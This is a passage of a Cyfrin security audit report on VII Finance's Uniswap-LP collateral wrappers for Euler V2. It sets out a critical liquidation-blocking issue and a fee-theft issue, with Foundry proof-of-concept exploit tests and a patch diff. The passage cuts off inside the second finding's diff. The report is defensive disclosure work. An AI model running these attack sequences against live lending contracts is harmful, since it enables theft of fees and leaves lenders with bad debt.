# VII Finance Audit Report

Prepared by Cyfrin

Version 2.0


**Lead Auditors**

Giovanni Di Siena

Stalin


July 15, 2025

# Contents

# 1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

# 2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

# 3 Risk Classification

| | **Impact: High** | **Impact: Medium** | **Impact: Low** |
|---|---|---|---|
| **Likelihood: High** | Critical | High | Medium |
| **Likelihood: Medium** | High | Medium | Low |
| **Likelihood: Low** | Medium | Low | Low |

# 4 Protocol Summary

VII Finance is a lending protocol built on top of Euler V2 that enables Uniswap V3 and V4 LP positions to be used as collateral.

# 5 Audit Scope

The scope of this audit is limited to:

```
src/libraries/UniswapPositionValueHelper.sol
src/uniswap/factory/BaseUniswapWrapperFactory.sol
src/uniswap/factory/UniswapV3WrapperFactory.sol
src/uniswap/factory/UniswapV4WrapperFactory.sol
src/uniswap/UniswapV3Wrapper.sol
src/uniswap/UniswapV4Wrapper.sol
src/ERC721WrapperBase.sol
```

# 6 Executive Summary

Over the course of 5 days, the Cyfrin team conducted an audit on the VII Finance smart contracts provided by VII Finance. In this period, a total of 10 issues were found.

A critical severity finding was identified in which malicious actors could prevent their positions from being properly liquidated, leading either to bad debt accruing in the vault or to a loss of funds for the liquidator. This issue leverages multiple other high severity attack vectors identified during the audit related to partially unwrapped positions, theft of fees, inflated transfer amounts and other lower severity edge cases.

There are several assumptions made by the protocol that users must be aware of, including:

- The requirement for transfer and skim actions to be performed atomically through whatever means is chosen by the user to avoid front-running theft and other issues. It is understood that this will be clearly documented.
- Given that liquidity cannot be added to a position when owned by the wrapper, users must add modify the position by utilizing the deferred checks of EVC batch calls. This also applies to disabling collateral once the limit is reached and if such an action would cause the position to become undercollateralized, deferred checks can be used to do whatever is necessary to increase collateral. This can be done in the following way:
  1. Fully unwrap the position. The account status check is triggered but deferred until the end of the batch call.
  2. Increase liquidity using EVC aware helper contract similar to `UniswapMintPositionHelper`.
  3. Re-wrap the position.
- Uniswap incentive distributions through Merkl are intended to be allocated directly to users and not the wrapper contracts. The VII Finance team are working with Merkl to ensure this logic is correct and prevents rewards from becoming stuck. While still being finalized, it is understood that the general methodolody for distribution of rewards to a position owned by one of the VII Finance wrappers is:
  - Merkl will determine all the actual owners of a given `tokenId` from the corresponding ERC-6909 `Transfer` events.
  - Rewards will be distributed proportionally to the ownership of a given ERC-6909 `tokenId`.
  - Liquidations will not affect distributions. A violator who has full ownership of a given `tokenId` until the liquidation will receive the rewards to which they are entitled. After a parital liquidation, the liquidator will also receive a proportional share of rewards util they unwrap their share of the underlying position.

The Foundry test suite was found to be very helpful in writing proof of concepts. Due to time constraints, it was not possible to perform a full test suite analysis, although the following areas that may require additional attention were identified:

- The `ALLOWED_PRECISION_IN_TESTS` constant is hardcoded regardless of the underlying raw token decimals.
- Configurations other than `ETH/USDC` and `USDC/USDT` are not tested.
- `TEST_NATIVE_ETH` pricing appears to be inflated, likely at least in part due to the hardcoding and how `FixedRateOracle` is set up (note the revert when `decimals()` is called). If there is indeed a pricing issue then this could be propagated and the actual relative error could be larger.
- E2E tests simply liquidate violaters for the full amount - partial eVault liquidations are not tested.

Considering the number of issues identified, it is statistically likely that there are more complex bugs still present that could not be identified given the time-boxed nature of this engagement. Due to the number of issues identified, the non-trivial changes required during mitigation, and the short turnaround time for reviewing the mitigation fixes, it is recommended that a follow-up audit and development of a more complex stateful test suite be undertaken prior to continuing to deploy significant monetary capital to production.

**Summary**

| | |
|---|---|
| Project Name | VII Finance |
| Repository | vii-finance-smart-contracts |
| Commit | 2a3a72c675a5... |
| Audit Timeline | Jul 4th - Jul 10th |
| Methods | Manual Review |

**Issues Found**

| | |
|---|---|
| Critical Risk | 1 |
| High Risk | 2 |
| Medium Risk | 2 |
| Low Risk | 3 |
| Informational | 2 |
| Gas Optimizations | 0 |
| Total Issues | 10 |

**Summary of Findings**

| | |
|---|---|
| [C-1] Liquidations can be made to revert by an attacker through various means, causing losses to liquidators and bad debt to accrue in the vault | Resolved |
| [H-1] Fees can be stolen from partially unwrapped `UniswapV4Wrapper` positions | Resolved |
| [H-2] More value can be extracted by liquidations than expected due to incorrect transfer calculations when the violator does not own the total ERC-6909 supply for each `tokenId` enabled as collateral | Resolved |
| [M-1] Fees can become stuck in `UniswapV4Wrapper` | Resolved |
| [M-2] Rounding in favor of the violator can subject liquidators to losses during partial liquidation | Resolved |
| [L-1] Unsafe external calls made during proportional LP fee transfers can be used to reenter wrapper contracts | Resolved |
| [L-2] Users can enable `tokenIds` as collateral even if they do not own any of the ERC-6909 supply | Acknowledged |
| [L-3] Underlying liquidity position is not transferred when fully unwrapping through the partial unwrap overload | Acknowledged |
| [I-1] Extra data should only be decoded when its length is exactly 96 bytes | Resolved |
| [I-2] Duplicated `Math` import should be removed from `ERC721WrapperBase` | Resolved |

# 7 Findings

## 7.1 Critical Risk

### 7.1.1 Liquidations can be made to revert by an attacker through various means, causing losses to liquidators and bad debt to accrue in the vault

**Description:** Coordination between two malicious accounts combined with various other attack vectors fully documented in separate findings can be leveraged by an attacker to engineer scenarios in which liquidators are disincentivised or otherwise unable to unwind liquidatable positions due to an inability to recover the underlying collateral to which they are entitled.

To summarise the issues that make this attack possible:

- Fee theft causes partial unwraps to revert for positions that were already partially unwrapped. The expectation is that partial liquidation will execute and liquidator will perform a partial unwrap to recover the underlying collateral; however, this will not be possible if the wrapper contract holds insufficient balance to process the proportional transfer.
- Incorrect accounting causes transfer amounts to become inflated for positions that were previously partially unwrapped. This can cause liquidation to revert as the violator will have insufficient ERC-6909 to complete the transfer.
- Enabling collateral for which the sender has no ERC-6909 balance can be similarly utilized to block successful transfer of other collateral assets against which the violator has borrowed vault assets.

Consider the following scenario:

- Alice and Bob are controlled by the same malicious user.
- Alice owns a position represented by `tokenId1` and Bob owns a position represented by `tokenId2`.
- Both `tokenId1` and `tokenId2` positions accrue some fees.
- Alice transfers a small portion of `tokenId1` to Bob.
- Bob performs a small partial unwrap of `tokenId1`.
- Both `tokenId1` and `tokenId2` positions accrue some more fees.
- Alice borrows the max debt and shortly after the position becomes liquidatable.
- Bob front-runs partial liquidation of `tokenId1` with full unwrap of `tokenId2` through partial unwrap (fee theft exploit).
- Partial liquidation succeeds, transferring a portion of `tokenId1` to the liquidator.
- Liquidator attempts to partially unwrap `tokenId1` to retrieve the underlying principal collateral plus fees but it reverts.
- This either causes a loss to the liquidator if executed in separate transactions or prevents/disincentivizes partial liquidation if executed atomically.
- The position continues to become undercollateralized until it is fully liquidatable.
- The transfer during liquidation will revert due to the transfer inflation issue calculating a transfer amount larger than Alice's balance.
- Alice's position is undercollateralized and bad debt accrues in the vault.
- Note: without the transfer issue, Alice's entire `tokenId1` balance is transferred to the liquidator, but still it is not possible to recover the underlying collateral even with full unwrap as the liquidator does not own the entire ERC-6909 supply (Bob still holds a small portion).

As demonstrated below, this complex series of steps can successfully block liquidations. The violator can partially unwrap one position, and with another position can steal the remaining fees, leaving wrapper contract without sufficient currency balance for the remaining pending fees of the partially unwrapped position. When partial liquidation

occurs, even if the liquidator is unwrapping a small portion of the full position, there are no fees on the balance which will cause the liquidation to revert. This setup can in fact be drastically reduced by simply enabling collateral for which the sender has no ERC-6909 balance, blocking successful transfer of other collateral assets backing the debt without relying on the fee theft.

**Impact:** An attacker can deliberately cause DoS that prevents their position from being liquidated with high likelihood. This has significant impact for the vault which will accrue bad debt.

**Proof of Concept:** Referencing the diff provided in a separate issue which defines `increasePosition()`, run the following tests with `forge test --mt test_blockLiquidationsPoC -vvv`:

- This first PoC uses the enabling of unowned collateral and transfer miscalculation:

```
function test_blockLiquidationsPoC_enableCollateral() public {
    address attacker = makeAddr("attacker");

    LiquidityParams memory params = LiquidityParams({
        tickLower: TickMath.MIN_TICK + 1,
        tickUpper: TickMath.MAX_TICK - 1,
        liquidityDelta: -19999
    });

    (uint256 tokenId1,,) = boundLiquidityParamsAndMint(params);
    (uint256 tokenId2,,) = boundLiquidityParamsAndMint(params);

    startHoax(borrower);

    // 1. borrower wraps tokenId1
    wrapper.underlying().approve(address(wrapper), tokenId1);
    wrapper.wrap(tokenId1, borrower);

    // 2. attacker wraps tokenId2
    wrapper.underlying().approve(address(wrapper), tokenId2);
    wrapper.wrap(tokenId2, attacker);

    // 3. attacker enables both tokenId1 and tokenId2 as collateral
    startHoax(attacker);
    wrapper.enableTokenIdAsCollateral(tokenId1);
    wrapper.enableTokenIdAsCollateral(tokenId2);

    // 4. attacker max borrows from vault
    evc.enableCollateral(attacker, address(wrapper));
    evc.enableController(attacker, address(eVault));
    eVault.borrow(type(uint256).max, attacker);

    vm.warp(block.timestamp + eVault.liquidationCoolOffTime());

    (uint256 maxRepay, uint256 yield) = eVault.checkLiquidation(liquidator, attacker, address(wrapper));
    assertEq(maxRepay, 0);
    assertEq(yield, 0);

    // 5. simulate attacker becoming liquidatable
    startHoax(IEulerRouter(address(oracle)).governor());
    IEulerRouter(address(oracle)).govSetConfig(
        address(wrapper),
        unitOfAccount,
        address(
            new FixedRateOracle(
                address(wrapper),
                unitOfAccount,
                1
            )
        )
    );
```

```
    (maxRepay, yield) = eVault.checkLiquidation(liquidator, attacker, address(wrapper));
    assertTrue(maxRepay > 0);

    startHoax(liquidator);
    evc.enableCollateral(liquidator, address(wrapper));
    evc.enableController(liquidator, address(eVault));

    // @audit-issue => liquidator attempts to liquidate attacker
    // @audit-issue => but transfer reverts due to insufficient ERC-6909 balance of tokenId1
    vm.expectRevert(
        abi.encodeWithSelector(
            bytes4(keccak256("ERC6909InsufficientBalance(address,uint256,uint256,uint256)")),
            attacker,
            wrapper.balanceOf(liquidator, tokenId1),
            wrapper.totalSupply(tokenId1),
            tokenId1
        )
    );
    eVault.liquidate(attacker, address(wrapper), maxRepay, 0);
}
```

- This second PoC uses the fee theft and transfer miscalculation:

```
function test_blockLiquidationsPoC_transferInflation() public {
    address attacker = makeAddr("attacker");
    address accomplice = makeAddr("accomplice");

    LiquidityParams memory params = LiquidityParams({
        tickLower: TickMath.MIN_TICK + 1,
        tickUpper: TickMath.MAX_TICK - 1,
        liquidityDelta: -19999
    });

    (uint256 tokenId1,,) = boundLiquidityParamsAndMint(params);
    (uint256 tokenId2,,) = boundLiquidityParamsAndMint(params);

    startHoax(borrower);

    // 1. attacker wraps tokenId1
    wrapper.underlying().approve(address(wrapper), tokenId1);
    wrapper.wrap(tokenId1, attacker);

    // 2. accomplice wraps tokenId2
    wrapper.underlying().approve(address(wrapper), tokenId2);
    wrapper.wrap(tokenId2, accomplice);

    // 3. swap so that some fees are generated
    swapExactInput(borrower, address(token0), address(token1), 100_000 * unit0);

    // 4. attacker enables tokenId1 as collateral and transfers a small portion to accomplice
    startHoax(attacker);
    wrapper.enableTokenIdAsCollateral(tokenId1);
    wrapper.transfer(accomplice, wrapper.balanceOf(attacker) / 100);

    // 5. accomplice enables tokenId2 as collateral and partially unwraps
    startHoax(accomplice);
    wrapper.enableTokenIdAsCollateral(tokenId2);
    wrapper.unwrap(
        accomplice,
        tokenId1,
        accomplice,
        wrapper.balanceOf(accomplice, tokenId1) / 2,
```

```
        bytes("")
    );

    // 6. attacker borrows max debt from eVault
    startHoax(attacker);
    evc.enableCollateral(attacker, address(wrapper));
    evc.enableController(attacker, address(eVault));
    eVault.borrow(type(uint256).max, attacker);

    vm.warp(block.timestamp + eVault.liquidationCoolOffTime());

    (uint256 maxRepay, uint256 yield) = eVault.checkLiquidation(liquidator, attacker, address(wrapper));
    assertEq(maxRepay, 0);
    assertEq(yield, 0);

    // 7. simulate attacker becoming partially liquidatable
    startHoax(IEulerRouter(address(oracle)).governor());
    IEulerRouter(address(oracle)).govSetConfig(
        address(wrapper),
        unitOfAccount,
        address(
            new FixedRateOracle(
                address(wrapper),
                unitOfAccount,
                1
            )
        )
    );

    (maxRepay, yield) = eVault.checkLiquidation(liquidator, attacker, address(wrapper));
    assertTrue(maxRepay > 0);

    // 8. accomplice executes fee theft against attacker
    startHoax(accomplice);
    wrapper.unwrap(
        accomplice,
        tokenId2,
        accomplice,
        wrapper.FULL_AMOUNT(),
        bytes("")
    );
    wrapper.unwrap(
        accomplice,
        tokenId2,
        borrower
    );
    startHoax(borrower);
    wrapper.underlying().approve(address(mintPositionHelper), tokenId2);
    increasePosition(poolKey, tokenId2, 1000, type(uint96).max, type(uint96).max, borrower);
    wrapper.underlying().approve(address(wrapper), tokenId2);
    wrapper.wrap(tokenId2, accomplice);
    startHoax(accomplice);
    wrapper.enableTokenIdAsCollateral(tokenId2);
    wrapper.unwrap(
        accomplice,
        tokenId2,
        accomplice,
        wrapper.FULL_AMOUNT() * 99 / 100,
        bytes("")
    );

    // 9. liquidator attempts to liquidate attacker
    startHoax(liquidator);
```

```
    evc.enableCollateral(liquidator, address(wrapper));
    evc.enableController(liquidator, address(eVault));
    wrapper.enableTokenIdAsCollateral(tokenId1);

    // full liquidation reverts due to transfer inflation issue
    vm.expectRevert(
        abi.encodeWithSelector(
            bytes4(keccak256("ERC6909InsufficientBalance(address,uint256,uint256,uint256)")),
            attacker,
            wrapper.balanceOf(attacker, tokenId1),
            wrapper.totalSupply(tokenId1),
            tokenId1
        )
    );
    eVault.liquidate(attacker, address(wrapper), maxRepay, 0);

    // 10. at most 1% of the partially liquidated position can be unwrapped
    eVault.liquidate(attacker, address(wrapper), maxRepay / 10, 0);
    uint256 partialBalance = wrapper.balanceOf(liquidator, tokenId1) / 10;

    vm.expectRevert(
        abi.encodeWithSelector(
            CustomRevert.WrappedError.selector,
            liquidator,
            bytes4(0),
            bytes(""),
            abi.encodePacked(bytes4(keccak256("NativeTransferFailed()")))
        )
    );
    wrapper.unwrap(
        liquidator,
        tokenId1,
        liquidator,
        partialBalance,
        bytes("")
    );
}
```

- This third PoC demonstrates that it is still possible to cause losses to the liquidator using fee theft even after the transfer issue is fixed (apply the recommended mitigation diff to observe this test passing):

```
function test_blockLiquidationsPoC_feeTheft() public {
    address attacker = makeAddr("attacker");
    address accomplice = makeAddr("accomplice");

    LiquidityParams memory params = LiquidityParams({
        tickLower: TickMath.MIN_TICK + 1,
        tickUpper: TickMath.MAX_TICK - 1,
        liquidityDelta: -19999
    });

    (uint256 tokenId1,,) = boundLiquidityParamsAndMint(params);
    (uint256 tokenId2,,) = boundLiquidityParamsAndMint(params);

    startHoax(borrower);

    // 1. attacker wraps tokenId1
    wrapper.underlying().approve(address(wrapper), tokenId1);
    wrapper.wrap(tokenId1, attacker);

    // 2. accomplice wraps tokenId2
    wrapper.underlying().approve(address(wrapper), tokenId2);
    wrapper.wrap(tokenId2, accomplice);
```

```
// 3. swap so that some fees are generated
swapExactInput(borrower, address(token0), address(token1), 100_000 * unit0);

// 4. attacker enables tokenId1 as collateral and transfers a small portion to accomplice
startHoax(attacker);
wrapper.enableTokenIdAsCollateral(tokenId1);
wrapper.transfer(accomplice, wrapper.balanceOf(attacker) / 100);

// 5. accomplice enables tokenId2 as collateral and partially unwraps
startHoax(accomplice);
wrapper.enableTokenIdAsCollateral(tokenId2);
wrapper.unwrap(
    accomplice,
    tokenId1,
    accomplice,
    wrapper.balanceOf(accomplice, tokenId1) / 2,
    bytes("")
);

// 6. attacker borrows max debt from eVault
startHoax(attacker);
evc.enableCollateral(attacker, address(wrapper));
evc.enableController(attacker, address(eVault));
eVault.borrow(type(uint256).max, attacker);

vm.warp(block.timestamp + eVault.liquidationCoolOffTime());

(uint256 maxRepay, uint256 yield) = eVault.checkLiquidation(liquidator, attacker, address(wrapper));
assertEq(maxRepay, 0);
assertEq(yield, 0);

// 7. simulate attacker becoming partially liquidatable
startHoax(IEulerRouter(address(oracle)).governor());
IEulerRouter(address(oracle)).govSetConfig(
    address(wrapper),
    unitOfAccount,
    address(
        new FixedRateOracle(
            address(wrapper),
            unitOfAccount,
            1
        )
    )
);

(maxRepay, yield) = eVault.checkLiquidation(liquidator, attacker, address(wrapper));
assertTrue(maxRepay > 0);

// 8. accomplice executes fee theft against attacker
startHoax(accomplice);
wrapper.unwrap(
    accomplice,
    tokenId2,
    accomplice,
    wrapper.FULL_AMOUNT(),
    bytes("")
);
wrapper.unwrap(
    accomplice,
    tokenId2,
    borrower
);
```

```
startHoax(borrower);
wrapper.underlying().approve(address(mintPositionHelper), tokenId2);
increasePosition(poolKey, tokenId2, 1000, type(uint96).max, type(uint96).max, borrower);
wrapper.underlying().approve(address(wrapper), tokenId2);
wrapper.wrap(tokenId2, accomplice);
startHoax(accomplice);
wrapper.enableTokenIdAsCollateral(tokenId2);
wrapper.unwrap(
    accomplice,
    tokenId2,
    accomplice,
    wrapper.FULL_AMOUNT() * 99 / 100,
    bytes("")
);

// 9. liquidator fully liquidates attacker
startHoax(liquidator);
evc.enableCollateral(liquidator, address(wrapper));
evc.enableController(liquidator, address(eVault));
wrapper.enableTokenIdAsCollateral(tokenId1);
eVault.liquidate(attacker, address(wrapper), maxRepay, 0);

// 10. liquidator repays the debt
deal(token1, liquidator, 1_000_000_000 * unit1);
IERC20(token1).approve(address(eVault), type(uint256).max);
eVault.repay(type(uint256).max, liquidator);
evc.disableCollateral(liquidator, address(wrapper));
eVault.disableController();

// 11. attempting to unwrap even 1% of the position fails
uint256 balanceToUnwrap = wrapper.balanceOf(liquidator, tokenId1) / 100;

vm.expectRevert(
    abi.encodeWithSelector(
        CustomRevert.WrappedError.selector,
        liquidator,
        bytes4(0),
        bytes(""),
        abi.encodePacked(bytes4(keccak256("NativeTransferFailed()")))
    )
);
wrapper.unwrap(
    liquidator,
    tokenId1,
    liquidator,
    balanceToUnwrap,
    bytes("")
);

// 12. full unwrap is blocked by accomplice's non-zero balance
vm.expectRevert(
    abi.encodeWithSelector(
        bytes4(keccak256("ERC6909InsufficientBalance(address,uint256,uint256,uint256)")),
        liquidator,
        wrapper.balanceOf(liquidator, tokenId1),
        wrapper.totalSupply(tokenId1),
        tokenId1
    )
);
wrapper.unwrap(
    liquidator,
    tokenId1,
    liquidator
```

```
    );
}
```

**Recommended Mitigation:** To mitigate this issue, the recommendations for all other issues should be applied:

- Decrement the `tokensOwed` state for a given ERC-6909 `tokenId` once the corresponding fees have been have been collected.
- Account for only the violator's `tokenId` balance when performing the `normalizedToFull()` calculation.
- Consider preventing collateral from being enabled when the sender does not hold any ERC-6909 balance of the `tokenId`.

**VII Finance:** Fixed in commits 8c6b6cc and b7549f2.

**Cyfrin:** Verified. The fee theft and inflated ERC-6909 transfers are no longer valid attack vectors. It is still possible to enable collateral without holding any ERC-6909 balance, but with the other mitigations applied this simply results in a zero value transfer as formally verified by the following Halmos test:

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity 0.8.26;

import {Math} from "lib/openzeppelin-contracts/contracts/utils/math/Math.sol";
import {Test} from "forge-std/Test.sol";

contract MathTest is Test {
    // halmos --function test_mulDivPoC
    function test_mulDivPoC(uint256 amount, uint256 value) public {
        vm.assume(value != 0);
        assertEq(Math.mulDiv(amount, 0, value, Math.Rounding.Ceil), 0);
    }
}
```

## 7.2 High Risk

### 7.2.1 Fees can be stolen from partially unwrapped `UniswapV4Wrapper` positions

**Description:** `ERC721WrapperBase` exposes two overloads of the `unwrap()` function to perform full and partial unwrap of the ERC-6909 position for a given `tokenId`:

```
function unwrap(address from, uint256 tokenId, address to) external callThroughEVC {
    _burnFrom(from, tokenId, totalSupply(tokenId));
    underlying.transferFrom(address(this), to, tokenId);
}

function unwrap(address from, uint256 tokenId, address to, uint256 amount, bytes calldata extraData)
    external
    callThroughEVC
{
    _unwrap(to, tokenId, amount, extraData);
    _burnFrom(from, tokenId, amount);
}
```

The full unwrap assumes the caller owns the entire ERC-6909 token supply and will transfer the underlying Uniswap position after burning these tokens. On the other hand, the partial unwrap is used to burn a specified amount of ERC-6909 tokens from the caller and handles proportional distribution of LP fees between all ERC-6909 holders through the virtual `_unwrap()` function.

In Uniswap V3, the LP fee balance is accounted separately from the underlying principal amount such that the pool does not immediately send accrued fees to the user when liquidity is modified but instead increases the `tokensOwed` balance of the position.`UniswapV3Wrapper::_unwrap` calculates the proportion owed to a given ERC-6909 holder based on the owed token accounting managed by the `NonFungiblePositionManager` contract which allows an exact amount to be passed to the `collect()` call:

```
function _unwrap(address to, uint256 tokenId, uint256 amount, bytes calldata extraData) internal
↪   override {
    (,,,,,,, uint128 liquidity,,,,) =
    ↪   INonfungiblePositionManager(address(underlying)).positions(tokenId);

    (uint256 amount0, uint256 amount1) =
        _decreaseLiquidity(tokenId, proportionalShare(tokenId, uint256(liquidity), amount).toUint128(),
        ↪   extraData);

    (,,,,,,,,,, uint256 tokensOwed0, uint256 tokensOwed1) =
        INonfungiblePositionManager(address(underlying)).positions(tokenId);

    //amount0 and amount1 is the part of the liquidity
    //token0Owed - amount0 and token1Owed - amount1 are the total fees (the principal is always
    ↪   collected in the same tx). part of the fees needs to be sent to the recipient as well

    INonfungiblePositionManager(address(underlying)).collect(
        INonfungiblePositionManager.CollectParams({
            tokenId: tokenId,
            recipient: to,
            amount0Max: (amount0 + proportionalShare(tokenId, (tokensOwed0 - amount0),
            ↪   amount)).toUint128(),
            amount1Max: (amount1 + proportionalShare(tokenId, (tokensOwed1 - amount1),
            ↪   amount)).toUint128()
        })
    );
}
```

Alternatively, during the modification of liquidity in Uniswap V4 the `PoolManager` transfers the entire balance of earned LP fees directly to the user and requires the delta to be settled in the same transaction. Given that the ERC-6909 tokens corresponding to the underlying Uniswap V4 positions can have multiple holders, it would be

incorrect to forward all these fees to the owner who is currently unwrapping their portion. `UniswapV4Wrapper::_unwrap` therefore first accumulates these fees in storage with the `tokensOwed` mapping and utilizes this state for subsequent partial unwraps of other ERC-6909 token holders, distributing only a share of the corresponding token balance to the specified recipient when interacting with their position:

```
function _unwrap(address to, uint256 tokenId, uint256 amount, bytes calldata extraData) internal
↪  override {
    PositionState memory positionState = _getPositionState(tokenId);

    (uint256 pendingFees0, uint256 pendingFees1) = _pendingFees(positionState);
    _accumulateFees(tokenId, pendingFees0, pendingFees1);

    uint128 liquidityToRemove = proportionalShare(tokenId, positionState.liquidity, amount).toUint128();
    (uint256 amount0, uint256 amount1) = _principal(positionState, liquidityToRemove);

    _decreaseLiquidity(tokenId, liquidityToRemove, ActionConstants.MSG_SENDER, extraData);

    poolKey.currency0.transfer(to, amount0 + proportionalShare(tokenId, tokensOwed[tokenId].fees0Owed,
    ↪  amount));
    poolKey.currency1.transfer(to, amount1 + proportionalShare(tokenId, tokensOwed[tokenId].fees1Owed,
    ↪  amount));
}
```

In other words, unlike `UniswapV3Wrapper`, the `UniswapV4Wrapper` is expected to hold some non-zero balance of `currency0` and `currency1` for a partially unwrapped ERC-6909 position until all the holders of this `tokenId` have unwrapped. Also note that while the partial unwrap is intended for use following partial liquidations, it is possible to use this overload to perform a full unwrap. The proportional share calculations will be executed to transfer the underlying principal balance plus LP fees to the sole holder, leaving the empty liquidity position in the wrapper contract as documented in a separate issue. Given that the total supply of ERC-6909 tokens will be reduced to zero, `_burnFrom()` can be called by any sender without reverting and so the empty Uniswap V4 position can be recovered by subsequently invoking the full unwrap.

Combined with the fact that the `tokensOwed` state is never decremented, this edge case can be used to manipulate the internal accounting of `UniswapV4Wrapper` by repeatedly wrapping and unwrapping a position that was previously partially unwrapped. Consider the following scenario:

- Alice wraps a Uniswap V4 position.
- Time passes and the position accumulates some fees.
- Alice fully unwraps the position using the partial unwrap overload, causing liquidity and fees to be decreased to zero as described above.
- Alice then fully unwraps to retrieve the underlying position and increases its liquidity once again.
- Alice re-wraps the same Uniswap V4 position and is once again minted the full corresponding ERC-6909 balance.
- Despite fully unwrapping the position, the `tokensOwed` mapping still contains non-zero values in storage corresponding to the fees accumulated by the position from the first time it was wrapped.
- Alice can now re-use this state to siphon tokens out of the `UniswapV4Wrapper`, stealing LP fees that are intended for the holders of other positions that have been partially unwrapped.

To summarize, a partially unwrapped position will have its proportional fees owed to other holders stored in the wrapper, and chaining this with the ability to recover and re-wrap a position that has already been fully unwrapped, the stale `tokensOwned` state can be used to steal the unclaimed fees from holders of other partially unwrapped positions. As demonstrated in the PoC below and detailed in a separate finding, this also causes a DoS for other holders attempting to fully unwrap their partial balance, which could be leveraged to affect liquidations and cause bad debt to accrue in the vault.

**Impact:** Fees can be stolen from ERC-6909 holders for positions that have been partially unwrapped at least once, representing a high impact. The expectation is for a given `tokenId` to have multiple holder only in the case of a

partial liquidation, and the issue does not arise for full liquidation in which the liquidator becomes the sole owner; however, in reality there is nothing preventing legitimate users from partially unwrapping their own positions. For example, it is reasonable to assume that a user would partially unwrap to retrieve some liquidity from a large position that still has enough collateral to continue backing any outstanding borrows, causing the LP fee transfer to be triggered, accounted to the wrapper contract and enabling the attack with medium/high likelihood.

**Proof of Concept:** Apply the following patch and execute `forge test --mt test_feeTheftPoC -vvv`:

```
---
 .../periphery/UniswapMintPositionHelper.sol   |  52 ++++++
 .../test/uniswap/UniswapV4Wrapper.t.sol       | 163 ++++++++++++++++++-
 2 files changed, 214 insertions(+), 1 deletion(-)

diff --git a/vii-finance-smart-contracts/src/uniswap/periphery/UniswapMintPositionHelper.sol
↪  b/vii-finance-smart-contracts/src/uniswap/periphery/UniswapMintPositionHelper.sol
index 8888549..68aedf9 100644
--- a/vii-finance-smart-contracts/src/uniswap/periphery/UniswapMintPositionHelper.sol
+++ b/vii-finance-smart-contracts/src/uniswap/periphery/UniswapMintPositionHelper.sol
@@ -124,5 +124,57 @@ contract UniswapMintPositionHelper is EVCUtil {
         positionManager.modifyLiquidities{value: address(this).balance}(abi.encode(actions, params),
         ↪  block.timestamp);
     }

+    function increaseLiquidity(
+        PoolKey calldata poolKey,
+        uint256 tokenId,
+        uint128 liquidityDelta,
+        uint256 amount0Max,
+        uint256 amount1Max,
+        address recipient
+    ) external payable {
+        Currency curr0 = poolKey.currency0;
+        Currency curr1 = poolKey.currency1;
+
+        if (amount0Max > 0) {
+            address t0 = Currency.unwrap(curr0);
+            if (!curr0.isAddressZero()) {
+                IERC20(t0).safeTransferFrom(msg.sender, address(this), amount0Max);
+            } else {
+                // native ETH case
+                require(msg.value >= amount0Max, "Insufficient ETH");
+                weth.deposit{value: amount0Max}();
+            }
+        }
+        if (amount1Max > 0) {
+            address t1 = Currency.unwrap(curr1);
+            IERC20(t1).safeTransferFrom(msg.sender, address(this), amount1Max);
+        }
+
+        if (!curr0.isAddressZero()) {
+            curr0.transfer(address(positionManager), amount0Max);
+        }
+
+        curr1.transfer(address(positionManager), amount1Max);
+
+        bytes memory actions = new bytes(5);
+        actions[0] = bytes1(uint8(Actions.INCREASE_LIQUIDITY));
+        actions[1] = bytes1(uint8(Actions.SETTLE));
+        actions[2] = bytes1(uint8(Actions.SETTLE));
+        actions[3] = bytes1(uint8(Actions.SWEEP));
+        actions[4] = bytes1(uint8(Actions.SWEEP));
+
+        bytes[] memory params = new bytes[](5);
```

```
+        params[0] = abi.encode(tokenId, liquidityDelta, amount0Max, amount1Max, bytes(""));
+        params[1] = abi.encode(curr0, ActionConstants.OPEN_DELTA, false);
+        params[2] = abi.encode(curr1, ActionConstants.OPEN_DELTA, false);
+        params[3] = abi.encode(curr0, recipient);
+        params[4] = abi.encode(curr1, recipient);
+
+        positionManager.modifyLiquidities{ value: address(this).balance }(
+            abi.encode(actions, params),
+            block.timestamp
+        );
+    }
+
     receive() external payable {}
 }
diff --git a/vii-finance-smart-contracts/test/uniswap/UniswapV4Wrapper.t.sol
↪  b/vii-finance-smart-contracts/test/uniswap/UniswapV4Wrapper.t.sol
index fa6c18b..2fce3ed 100644
--- a/vii-finance-smart-contracts/test/uniswap/UniswapV4Wrapper.t.sol
+++ b/vii-finance-smart-contracts/test/uniswap/UniswapV4Wrapper.t.sol
@@ -125,7 +125,7 @@ contract UniswapV4WrapperTest is Test, UniswapBaseTest {

     TestRouter public router;

-    bool public constant TEST_NATIVE_ETH = true;
+    bool public constant TEST_NATIVE_ETH = false;

     function deployWrapper() internal override returns (ERC721WrapperBase) {
         currency0 = Currency.wrap(address(token0));
@@ -258,6 +258,36 @@ contract UniswapV4WrapperTest is Test, UniswapBaseTest {
         amount0 = token0BalanceBefore - targetPoolKey.currency0.balanceOf(owner);
         amount1 = token1BalanceBefore - targetPoolKey.currency1.balanceOf(owner);
     }
+
+    function increasePosition(
+        PoolKey memory targetPoolKey,
+        uint256 targetTokenId,
+        uint128 liquidity,
+        uint256 amount0Desired,
+        uint256 amount1Desired,
+        address owner
+    ) internal returns (uint256 amount0, uint256 amount1) {
+        deal(address(token0), owner, amount0Desired * 2 + 1);
+        deal(address(token1), owner, amount1Desired * 2 + 1);
+
+        uint256 token0BalanceBefore = targetPoolKey.currency0.balanceOf(owner);
+        uint256 token1BalanceBefore = targetPoolKey.currency1.balanceOf(owner);
+
+        mintPositionHelper.increaseLiquidity{value: targetPoolKey.currency0.isAddressZero() ?
↪  amount0Desired * 2 + 1 : 0}(
+            targetPoolKey, targetTokenId, liquidity, amount0Desired, amount1Desired, owner
+        );
+
+        //ensure any unused tokens are returned to the borrower and position manager balance is zero
+        // assertEq(targetPoolKey.currency0.balanceOf(address(positionManager)), 0);
+        assertEq(targetPoolKey.currency1.balanceOf(address(positionManager)), 0);
+
+        //for some reason, there is 1 wei of dust native eth left in the mintPositionHelper contract
+        // assertEq(targetPoolKey.currency0.balanceOf(address(mintPositionHelper)), 0);
+        assertEq(targetPoolKey.currency1.balanceOf(address(mintPositionHelper)), 0);
+
